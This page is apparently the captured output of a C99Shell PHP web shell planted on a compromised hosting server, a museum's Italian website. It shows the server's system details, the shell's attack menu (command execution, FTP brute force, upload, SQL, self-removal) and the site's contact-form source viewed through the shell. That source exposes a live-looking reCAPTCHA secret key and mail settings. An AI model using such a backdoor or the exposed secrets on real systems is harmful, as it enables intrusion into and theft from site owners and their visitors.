!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache. PHP/5.6.40-67+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux hosting1.erectacloud.it 5.4.0-182-generic #202-Ubuntu SMP Fri Apr 26 12:29:36 UTC
2024 x86_64
 

uid=5229(web473) gid=5117(client172) groups=5117(client172),5002(sshusers) 

Safe-mode: OFF (not secure)

/var/www/clients/client172/web473/web/it/   drwxr-xr-x
Free 184.34 GB of 490.84 GB (37.56%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     contatti_action.php (6.38 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?
include('include_dir.php');
//include($percorsoLingua.'include/include.php');

include($percorso.'aps/include/costanti.php');
include(
$percorso.'aps/include_cliente/const_cliente.php');
include(
$percorso.'aps/include/funzioni.php');
include(
$percorso.'include/costanti.php');
include(
'include_cliente/const_cliente.php');
include(
$percorso.'include/multilingua.php');

/*
require($percorso.'include/class.phpmailer.php');
require($percorso.'include/class.smtp.php');
*/
use PHPMailer\PHPMailer\PHPMailer;
require 
'../include/PHPMailer.php';
require 
'../include/SMTP.php';
require 
'../include/Exception.php';


//require_once $percorso.'include/recaptchalib.php';
require_once  $percorso.'recaptcha-master/appengine-https.php';
 
// Initiate the autoloader. The file should be generated by Composer.
// You will provide your own autoloader or require the files directly if you did
// not install via Composer.
require_once  $percorso.'recaptcha-master/src/autoload.php';


$nome = isset( $_POST['template-contactform-name'] ) ? $_POST['template-contactform-name'] : '';
$email = isset( $_POST['template-contactform-email'] ) ? $_POST['template-contactform-email'] : '';
$telefono = isset( $_POST['template-contactform-phone'] ) ? $_POST['template-contactform-phone'] : '';
$service = isset( $_POST['template-contactform-service'] ) ? $_POST['template-contactform-service'] : '';
$oggetto = isset( $_POST['template-contactform-subject'] ) ? $_POST['template-contactform-subject'] : 'Richiesta informazioni';
$messaggio = isset( $_POST['template-contactform-message'] ) ? $_POST['template-contactform-message'] : '';
$gRecaptcha = isset( $_POST['g-recaptcha-response'] ) ? $_POST['g-recaptcha-response'] : '';


$lMessaggioOk=true;
            
                if (
checkMail($email))
                        {
                            
$lMessaggioOk=true;
                        }
                 else
                        {
                            
$lMessaggioOk=false;
                        }
                 
                if  ( (
trim($nome)=='') || (trim($email)=='') || (trim($messaggio)=='') )
                        {
                            
$lMessaggioOk==false;
                        }

// your secret key
$secret "6LcMLL0lAAAAAC4ajbC1eT2He0UfYX23aGIdSNu3";
// empty response
$response null;
// check secret key
$recaptcha = new \ReCaptcha\ReCaptcha($secret);




if (
$_POST["g-recaptcha-response"]) {
    
// Make the call to verify the response and also pass the user's IP address
    
$resp $recaptcha->setExpectedHostname($_SERVER['SERVER_NAME'])->verify($_POST['g-recaptcha-response'], $_SERVER['REMOTE_ADDR']);
    if (
$resp->isSuccess())
    {
        if (
$lMessaggioOk)
                                
MessaggioOk();
                        else
                                
MessaggioNotOk();
    }
    else
    {
        
MessaggioNotOk();
    }
    
//var_export($resp);
}
else
{
    
MessaggioNotOk();
}


                
            
        
//}

function MessaggioNotOk()
{global 
$nome$cognome$email$telefono$oggetto$messaggio;
    
    echo 
'{ "alert": "error", "message": "Email <strong>could not</strong> be sent due to some Unexpected Error. Please Try Again later.<br /><br /><strong>Reason:</strong><br />' $mail->ErrorInfo '" }';
            
}

function 
MessaggioOk()
{global 
$nome$mobile$cognome$email$telefono$oggetto$messaggio$service;

switch (
$service) {
            case 
0//nulla
                
$destinatario costantiP::EMAIL_CONTATTO_PRINCIPALE;
                
$servizio 'Segreteria';
                break;
            case 
1//museo
                
$destinatario costantiP::EMAIL_CONTATTO_PRINCIPALE;
                
$servizio 'Museo';
                break;
            case 
2//archivio
                
$destinatario costantiP::EMAIL_ARCHIVIO;
                
$servizio 'Archivio';
                break;
            case 
3//store
                
$destinatario costantiP::EMAIL_SHOP;
                
$servizio 'Store';
                break;
            case 
4//affitto
                
$destinatario costantiP::EMAIL_CONTATTO_PRINCIPALE;
                 
$servizio 'Affitto';
                break;
            case 
5//taverna
                
$destinatario costantiP::EMAIL_CONTATTO_PRINCIPALE;
                 
$servizio 'Taverna';
                break;
        }
    
    
$pretesto '==========================='.chr(10);
    
$pretesto .= 'Mittente: '.$nome.chr(10);
    
$pretesto .= 'Email: '.$email.chr(10);
    
$pretesto .= 'Telefono: '.$telefono.chr(10);
    
$pretesto .= 'Servizio: '.$servizio.chr(10);
    
$pretesto .= 'Lingua sito: '.costantiP::LINGUA.chr(10);
    
$pretesto .= '==========================='.chr(10).chr(10);
    
$messaggioEmail $pretesto.$oggetto.chr(10).chr(10).$messaggio.chr(10).chr(10);

    
$mittente $email;

    
//$mail = new PHPMailer();
    
$mail = new PHPMailer;
    
$mail->SetLanguage('en''../include/language/');
    
    
//echo 'quiiiii';
    //$mail->SMTPDebug = 1;
    
$mail->IsSMTP(); // set mailer to use SMTP
    
$mail->SMTPAuth true;      // turn on SMTP authentication               
    
$mail->SMTPSecure 'starttls';
    
$mail->Host costantiP::SMTP_HOST;      // specify main and backup server
    
$mail->Port '587';    
    
$mail->Username costantiP::SMTP_USER;      // SMTP username
    
$mail->Password costantiP::SMTP_PWD;     // SMTP password
    
    
$mail->From 'segreteria@museomillemiglia.it';
    
$mail->FromName "Richiesta dal modulo contatti";
    
//$mail->AddAddress(costantiP::EMAIL_CONTATTO_PRINCIPALE, costantiP::EMAIL_CONTATTO_PRINCIPALE);
    
$mail->AddAddress($destinatario$destinatario);
    
//$mail->AddAddress('skateo@gmail.com', 'skateo@gmail.com');
    
$mail->AddReplyTo($mittente$mittente);

    
$mail->WordWrap 80;                                 // set word wrap to 50 characters
    
$mail->IsHTML(false);                                  // set email format to HTML
    
$mail->Subject $oggetto;
    
$mail->Body $messaggioEmail;
    if(
$mail->Send()){$message_success 'Messaggio inviato con <strong>successo</strong>. Verrai ricontattato quanto prima. Grazie';
     echo 
'{ "alert": "success", "message": "' $message_success '" }';
    }
    else
    {echo 
'{ "alert": "error", "message": "Email <strong>could not</strong> be sent due to some Unexpected Error. Please Try Again later.<br /><br /><strong>Reason:</strong><br />' $mail->ErrorInfo '" }';
    }
    unset(
$mail);
}

function 
checkMail($toCheck){
    
$find "/^[a-zA-Z0-9-_.]+@[a-zA-Z0-9-_.]+.[a-zA-Z]{2,4}$/";
    if(!
preg_match($findtrim($toCheck))){
        return 
false;
    }else{
        return 
true;
    }
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0096 ]--